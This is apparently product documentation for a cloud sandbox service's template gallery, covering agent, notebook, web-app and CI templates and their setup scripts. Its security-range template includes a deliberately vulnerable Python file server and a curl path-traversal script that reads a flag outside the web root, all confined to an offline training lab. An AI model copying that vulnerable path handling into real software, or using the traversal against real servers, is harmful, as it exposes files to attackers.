# Templates gallery

A template is a finished starter sandbox: the right size, image, network and secrets, a setup script that runs inside it, and a first thing to try once it is ready. Launch one from the dashboard, the CLI, the desktop app or the API, and it opens on that first result.

## What a launch does

1. It creates a sandbox with the template's settings: a size (`2x4`, `4x8` …), a template (the universal image at that size), persistent, Docker inside where the template needs it, and the template's network preset. It is an ordinary sandbox: it shows in your list, is billed like any other and is yours to change or delete.

2. If the template needs an API key (Claude Code, the OpenAI Agents SDK), the key must be stored first as a [secret](https://docs.kosa8.com/guides/cloud-secrets/). The sandbox gets a placeholder and the broker's address; the real key is added on the way to that provider only.

3. Once the sandbox is up, its setup script runs as a background command. It is safe to start twice: a lock in `/workspace/.kosa8-gallery/{id}/` lets only the first run through, and its `status` and `setup.log` are kept there.

4. When setup has finished, the launch reports the first win: the pane to open (terminal, previews, code or files), the command to run, or the preview URL.

A launch is recorded in the audit log as `gallery.launch`, beside the `sandbox.create` and `sandbox.exec` records of what it did, and your [webhooks](https://docs.kosa8.com/guides/cloud-webhooks/) get `sandbox.created` as for any other sandbox.

## The templates

The list below is generated from the same file the API serves, so it is always what a launch does.

| Template | Size | Network | Asks for | Plan | Launch |
|---|---|---|---|---|---|
| [Claude Code agent] | 2x4 | Package registries only | `ANTHROPIC_API_KEY` | Solo | `kosa8 cloud launch claude-code` |
| [Cursor agent (CLI)] | 2x4 | Open internet | none | Solo | `kosa8 cloud launch cursor-agent` |
| [OpenAI Agents SDK] | 2x4 | Package registries only | `OPENAI_API_KEY` | Solo | `kosa8 cloud launch openai-agents` |
| [Browser agent (Playwright)] | 4x8 | Open internet | none | Pro | `kosa8 cloud launch browser-agent` |
| [Data analysis notebook] | 2x4 | Package registries only | none | Solo | `kosa8 cloud launch data-analysis` |
| [Web app with live preview] | 2x4 | Package registries only | none | Solo | `kosa8 cloud launch web-app` |
| [CI runner] | 4x8 | Package registries only | none | Pro | `kosa8 cloud launch ci-runner` |
| [Security range (red-team lab)] | 4x8 | No internet | none | Pro | `kosa8 cloud launch security-range` |

### Claude Code agent

**Anthropic's coding agent in its own microVM, your API key held outside the sandbox.**

Claude Code is already installed in the universal image. Your Anthropic key is stored as a kosa8 secret: the sandbox gets a placeholder and a broker address, and the real key is added on the way out to api.anthropic.com only. The network is limited to package registries.

- Size 2x4 (2 vCPU, 4 GB), template `universal-2x4`, persistent.

- Network: Package registries only. npm, PyPI, GitHub, Go, crates, RubyGems, Maven, apt, Alpine and Docker registries; nothing else leaves except each secret's own upstream, through the broker.

- Asks for your Anthropic API key, stored as the secret `anthropic`: sent only to https://api.anthropic.com, the sandbox sees a placeholder in `ANTHROPIC_API_KEY`.

- First win: Ask Claude Code to build and run something: `cd /workspace/hello && claude`.

- On your own machine: `kosa8 launch claude-code` (the `claude` agent kit).

- Meant for the Solo plan and up.

What setup runs

```
mkdir -p /workspace/hello && cd /workspace/hello
[ -d .git ] || git init -q
cat > README.md <<'EOF'
# hello

A scratch project for Claude Code. Ask it to build something here.
EOF
claude --version
```

### Cursor agent (CLI)

**Cursor's terminal agent in a sandbox of its own, signed in with your Cursor account.**

Cursor's licence does not allow shipping its CLI in an image, so setup installs it from Cursor with kosa8-install cursor-agent. Sign in from the terminal with your Cursor account, or export CURSOR_API_KEY there. The network is open, since Cursor's installer and service use several hosts.

- Size 2x4 (2 vCPU, 4 GB), template `universal-2x4`, persistent.

- Network: Open internet. Anything on the internet, except hosts in your threat feed.

- First win: Sign in and give Cursor a task: `cd /workspace/hello && cursor-agent login && cursor-agent`.

- Meant for the Solo plan and up.

What setup runs

```
command -v cursor-agent >/dev/null 2>&1 || kosa8-install cursor-agent
mkdir -p /workspace/hello
cursor-agent --version || true
```

### OpenAI Agents SDK

**A Python agent built on the OpenAI Agents SDK, ready to run, your OpenAI key held outside the sandbox.**

Setup installs the openai-agents package from PyPI and writes a small agent to /workspace/agent. Your OpenAI key is stored as a kosa8 secret and added by the broker on the way to api.openai.com only; the SDK reads the broker's address from OPENAI_BASE_URL.

- Size 2x4 (2 vCPU, 4 GB), template `universal-2x4`, persistent.

- Network: Package registries only. npm, PyPI, GitHub, Go, crates, RubyGems, Maven, apt, Alpine and Docker registries; nothing else leaves except each secret's own upstream, through the broker.

- Asks for your OpenAI API key, stored as the secret `openai`: sent only to https://api.openai.com, the sandbox sees a placeholder in `OPENAI_API_KEY`.

- First win: Run your first agent: `python3 /workspace/agent/hello_agent.py`.

- Meant for the Solo plan and up.

What setup runs

```
python3 -m pip install --quiet --disable-pip-version-check openai-agents
mkdir -p /workspace/agent
cat > /workspace/agent/hello_agent.py <<'EOF'
# A first agent: one instruction, one question.
from agents import Agent, Runner, set_tracing_disabled

# Traces would go to api.openai.com directly, which this sandbox cannot reach.
set_tracing_disabled(True)

agent = Agent(name="Assistant", instructions="You answer in one short paragraph.")
result = Runner.run_sync(agent, "What is a microVM, and why would an AI agent run in one?")
print(result.final_output)
EOF
python3 -c 'import agents; print("openai-agents ready")'
```

### Browser agent (Playwright)

**Headless Chromium driven by Playwright, with a first screenshot taken for you.**

The universal image has Playwright and headless Chromium. Setup opens example.com and saves a screenshot to /workspace/browser, so you can see the browser works before pointing your agent at it. The Playwright MCP server is configured for the agent CLIs too. The network is open, since a browser agent visits sites.

- Size 4x8 (4 vCPU, 8 GB), template `universal-4x8`, persistent.

- Network: Open internet. Anything on the internet, except hosts in your threat feed.

- First win: See the screenshot, then take your own: `cd /workspace/browser && playwright screenshot --full-page https://news.ycombinator.com hn.png`.

- Meant for the Pro plan and up.

What setup runs

```
command -v playwright >/dev/null 2>&1 || { echo 'playwright is not on PATH in this image'; exit 1; }
mkdir -p /workspace/browser && cd /workspace/browser
playwright screenshot --browser chromium https://example.com example.png
ls -l example.png
```

### Data analysis notebook

**Python with pandas, matplotlib and a Jupyter-style kernel, a sample dataset loaded.**

Runs code cells in a persistent Python kernel (the sandbox's Code tab, or POST /v1/sandboxes/{id}/code): variables last between cells and charts come back as images. Setup writes a sample sales dataset to /workspace/data. The network is limited to package registries, so pip install works.

- Size 2x4 (2 vCPU, 4 GB), template `universal-2x4`, persistent.

- Network: Package registries only. npm, PyPI, GitHub, Go, crates, RubyGems, Maven, apt, Alpine and Docker registries; nothing else leaves except each secret's own upstream, through the broker.

- First win: Run your first cell (the Code tab).

- Meant for the Solo plan and up.

What setup runs

```
mkdir -p /workspace/data
python3 - <<'EOF'
import csv, random
random.seed(8)
regions = ["North", "South", "East", "West"]
products = ["Basic", "Pro", "Team"]
with open("/workspace/data/sales.csv", "w", newline="") as f:
    w = csv.writer(f)
    w.writerow(["month", "region", "product", "units", "revenue"])
    for m in range(1, 13):
        for r in regions:
            for p in products:
                units = random.randint(20, 400)
                price = {"Basic": 9, "Pro": 29, "Team": 79}[p]
                w.writerow([f"2026-{m:02d}", r, p, units, units * price])
print("wrote /workspace/data/sales.csv")
EOF
python3 -c 'import pandas, matplotlib; print("pandas", pandas.__version__)'
```

### Web app with live preview

**A Node dev server running in the sandbox, with a public preview URL you can open and share.**

Setup writes a small Node app to /workspace/app and starts it with node --watch on port 3000, so an edit restarts it. A public preview URL is opened on that port: anyone with the link can see the page while the sandbox runs. Close it from the Previews tab.

- Size 2x4 (2 vCPU, 4 GB), template `universal-2x4`, persistent.

- Network: Package registries only. npm, PyPI, GitHub, Go, crates, RubyGems, Maven, apt, Alpine and Docker registries; nothing else leaves except each secret's own upstream, through the broker.

- First win: Open your app's public URL (a public preview of port 3000).

- Meant for the Solo plan and up.

What setup runs

```
mkdir -p /workspace/app && cd /workspace/app
[ -f server.js ] || cat > server.js <<'EOF'
// A first web app. Edit this file: node --watch restarts the server.
const http = require("node:http");
const started = new Date().toISOString();
http.createServer((req, res) => {
  res.writeHead(200, { "Content-Type": "text/html; charset=utf-8" });
  res.end(`<!doctype html><meta name="viewport" content="width=device-width"><title>Hello from kosa8</title>
<body style="font:16px/1.5 system-ui;max-width:40rem;margin:4rem auto;padding:0 1rem">
<h1>Hello from your sandbox</h1><p>This page is served by Node ${process.version} inside a kosa8 microVM.</p>
<p>Edit <code>/workspace/app/server.js</code> and reload.</p><p><small>Server started ${started}</small></p></body>`);
}).listen(3000, "0.0.0.0", () => console.log("listening on :3000"));
EOF
setsid nohup node --watch server.js > /workspace/app/dev.log 2>&1 < /dev/null &
for i in $(seq 1 30); do curl -fsS -o /dev/null http://127.0.0.1:3000 && break; sleep 0.5; done
curl -fsS -o /dev/null http://127.0.0.1:3000 && echo 'dev server up on :3000'
```

### CI runner

**A build machine with its own Docker engine: test, build an image and run it, from one script.**

The universal image (Node, Python, Go, Rust, Java and more) at 4 vCPU and 8 GB, with Docker inside. Setup starts dockerd and writes a sample project with a ci.sh that runs its tests, builds a container image and runs it. For GitHub Actions jobs, see the GitHub runners guide.

- Size 4x8 (4 vCPU, 8 GB), template `universal-4x8`, persistent, Docker inside.

- Network: Package registries only. npm, PyPI, GitHub, Go, crates, RubyGems, Maven, apt, Alpine and Docker registries; nothing else leaves except each secret's own upstream, through the broker.

- First win: Run the pipeline: test, build, run: `cd /workspace/ci-demo && ./ci.sh`.

- Meant for the Pro plan and up.

What setup runs

```
if ! docker info >/dev/null 2>&1; then setsid nohup dockerd > /var/log/dockerd.log 2>&1 < /dev/null & fi
for i in $(seq 1 60); do docker info >/dev/null 2>&1 && break; sleep 1; done
docker version --format 'docker {{.Server.Version}}'
mkdir -p /workspace/ci-demo && cd /workspace/ci-demo
cat > sum.js <<'EOF'
module.exports = (...xs) => xs.reduce((a, b) => a + b, 0);
EOF
cat > sum.test.js <<'EOF'
const test = require("node:test");
const assert = require("node:assert");
const sum = require("./sum");
test("adds", () => assert.strictEqual(sum(1, 2, 3), 6));
test("empty is zero", () => assert.strictEqual(sum(), 0));
EOF
cat > Dockerfile <<'EOF'
FROM node:22-alpine
WORKDIR /app
COPY sum.js .
CMD ["node", "-e", "console.log('built in a kosa8 sandbox: 1+2+3 =', require('./sum')(1,2,3))"]
EOF
cat > ci.sh <<'EOF'
#!/bin/sh
set -e
echo '== test'
node --test
echo '== build'
docker build -q -t ci-demo .
echo '== run'
docker run --rm ci-demo
EOF
chmod +x ci.sh
```

### Security range (red-team lab)

**A deliberately vulnerable service to attack, sealed off from the internet.**

Setup starts a small web service with a path-traversal bug on 127.0.0.1:8080 and writes attack.sh, which exploits it to read a flag and then shows that nothing can leave: the sandbox has no internet. Practise on it, or point your own red-team agent at it. Everything stays inside the microVM.

- Size 4x8 (4 vCPU, 8 GB), template `universal-4x8`, persistent.

- Network: No internet. Nothing leaves the sandbox.

- First win: Run the attack, then watch egress stop it: `/workspace/range/attack.sh`.

- Meant for the Pro plan and up.

What setup runs

```
mkdir -p /workspace/range/www && cd /workspace/range
echo 'kosa8{you-read-a-file-outside-the-web-root}' > flag.txt
echo '<h1>Acme intranet</h1><p>Nothing to see here.</p>' > www/index.html
cat > target.py <<'EOF'
# A deliberately vulnerable file server: it joins the request path to its
# web root without normalising it, so /../flag.txt escapes the root.
import http.server, os
ROOT = "/workspace/range/www"
class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        p = ROOT + ("/index.html" if self.path == "/" else self.path)
        try:
            with open(p, "rb") as f:
                body = f.read()
            self.send_response(200)
        except OSError:
            body = b"not found\n"
            self.send_response(404)
        self.end_headers()
        self.wfile.write(body)
    def log_message(self, *a):
        pass
http.server.HTTPServer(("127.0.0.1", 8080), H).serve_forever()
EOF
cat > attack.sh <<'EOF'
#!/bin/sh
echo '== 1. the target answers'
curl -s http://127.0.0.1:8080/
echo
echo '== 2. path traversal: read a file outside the web root'
curl -s --path-as-is http://127.0.0.1:8080/../flag.txt
echo '== 3. try to send it out'
if curl -s -m 5 -o /dev/null https://example.com; then echo 'egress OPEN: the flag could leave'; else echo 'egress blocked: nothing leaves this sandbox'; fi
EOF
chmod +x attack.sh
setsid nohup python3 target.py > target.log 2>&1 < /dev/null &
for i in $(seq 1 20); do curl -fsS -o /dev/null http://127.0.0.1:8080/ && break; sleep 0.5; done
curl -fsS -o /dev/null http://127.0.0.1:8080/ && echo 'target up on 127.0.0.1:8080'
```

## From the dashboard

In [app.kosa8.com](https://app.kosa8.com/app#templates), press **New sandbox** and choose **Templates**, or open **Templates** from an empty sandbox list. Each card shows what you get, the size, the network and the plan it is meant for. Press **Launch**: a template that needs a key asks for it once (an admin stores it as a secret; it is never shown back), then the card shows each step (creating, booting, setting up) and opens the sandbox on its first-win tab. `app.kosa8.com/app#templates/claude-code` opens one card directly.

## From the CLI

```
kosa8 cloud templates                 # the gallery: id, size, network, plan
kosa8 cloud launch claude-code        # asks for a missing key without echoing it, then waits for setup
kosa8 cloud launch web-app --no-wait  # print the sandbox id and return at once
kosa8 cloud launch ci-runner --size 8x16 --name build-1 --json
```

`kosa8 cloud launch` stores a missing key with the secrets API, launches, follows setup and prints the first win: the command to run in `kosa8 cloud terminal ID`, or the preview URL. On your own machine, `kosa8 launch claude-code` runs Claude Code in a local microVM with the `claude` [agent kit](https://docs.kosa8.com/guides/kits/); the other templates launch on kosa8 Cloud.

## From the desktop app

The desktop app's Templates page shows the same gallery. A template that can run on this machine (Claude Code) has a **Run locally** button; every template can be launched on kosa8 Cloud with the account the app is signed in to.

## From the API

The gallery is public and can be cached:

```
curl -s https://api.kosa8.com/v1/gallery
# {"version":1,"egress":{"open":{…},"registries":{…},"none":{…}},
#  "templates":[{"id":"claude-code","name":"Claude Code agent","size":"2x4","cpus":2,"mem_mb":4096,
#    "template":"universal-2x4","persistent":true,"egress":"registries","secrets":[{"name":"anthropic",…}],
#    "setup":[…],"setup_script":"…","first_win":{"pane":"terminal",…},"min_plan":"solo",…},…]}
curl -s https://api.kosa8.com/v1/gallery/web-app
```

Store a key the template asks for (an admin key; the entry's `secrets[]` gives the upstream, header, scheme and `vars`, the env map):

```
curl -s -X PUT https://api.kosa8.com/v1/secrets/anthropic \
  -H "Authorization: Bearer $KOSA8_ADMIN_KEY" -H 'Content-Type: application/json' \
  -d '{"value":"'"$ANTHROPIC_API_KEY"'","upstream":"https://api.anthropic.com","header":"x-api-key","scheme":"",
       "env":{"ANTHROPIC_API_KEY":"{{placeholder}}","ANTHROPIC_BASE_URL":"{{url}}"}}'
```

Launch, with a key that has `sandboxes:write`. `name`, `size` and `region` are optional:

```
curl -s -X POST https://api.kosa8.com/v1/gallery/claude-code/launch \
  -H "Authorization: Bearer $KOSA8_API_KEY" -H 'Content-Type: application/json' -d '{}'
# 202 {"sandbox":{"id":"sbx_…","state":"creating",…},"gallery":{"id":"claude-code","name":"Claude Code agent"},
#      "setup":{"state":"booting"},"first_win":{…},"progress":"/v1/gallery/launches/sbx_…"}
```

Then follow it. Each call reports where it is, and starts setup if the sandbox is up and setup has not started yet, so polling every few seconds is all a client needs to do:

```
curl -s -X POST https://api.kosa8.com/v1/gallery/launches/sbx_… \
  -H "Authorization: Bearer $KOSA8_API_KEY"
# {"state":"setting_up","log_tail":"…"}
# … later
# {"state":"ready","first_win":{"pane":"terminal","label":"Ask Claude Code to build and run something",
#   "command":"cd /workspace/hello && claude"}}
```

`state` is `booting`, `setting_up`, `ready` or `failed` (with the end of the setup log).

## Networks

| Preset | What may leave the sandbox |
|---|---|
| `registries` | Package registries only (npm, PyPI, GitHub, Go, crates, RubyGems, Maven, apt, Alpine, Docker), plus each secret's own upstream through the broker. Every template that holds a key uses this or less: beside an open network the broker would be optional. |
| `none` | Nothing. The security range uses it, so what happens in it stays in it. |
| `open` | Anything except hosts in your [threat feed](https://docs.kosa8.com/guides/swarm/). For the browser agent and Cursor's agent, which need many hosts. |

Your organization's own [egress policy](https://docs.kosa8.com/guides/cloud-egress/) still applies: where it is enforced, a template's network can only be narrower.

## Plans and cost

Each template names the plan it is meant for: Solo for sizes up to 2x4, Pro up to 4x8, Team up to 8x16, Scale up to 16x32. A template's sandbox counts toward the plan's Cloud sandbox-hours while it runs (hours of a 2 vCPU / 4 GB sandbox; bigger sizes count by vCPU). Nothing is billed per second on top of a plan, and there is no free tier, trial or credit. A template that holds a secret never sleeps, so delete it when you are done.

## Troubleshooting

| Answer | Means | Next step |
|---|---|---|
| `409 secret_required` | The template needs a key that is not stored yet; `missing` lists each one, with where to get it. | Store it with `PUT /v1/secrets/{name}` (an admin), then launch again. The dashboard and CLI ask for it. |
| `402 payment_required` | No payment method yet, or the last charge was declined. | Usage → Choose how to pay. |
| `503 no_capacity` | No host has room for that size right now. | Try again shortly, or a smaller size. |
| `404 not_found` | No template with that id. | `GET /v1/gallery` lists them. |
| `"state":"failed"` | The setup script exited with an error. | Read `/workspace/.kosa8-gallery/{id}/setup.log` in the sandbox's terminal or Files tab. To run setup again, remove `/workspace/.kosa8-gallery/{id}` and poll the launch. |

---
Source: https://docs.kosa8.com/guides/templates/
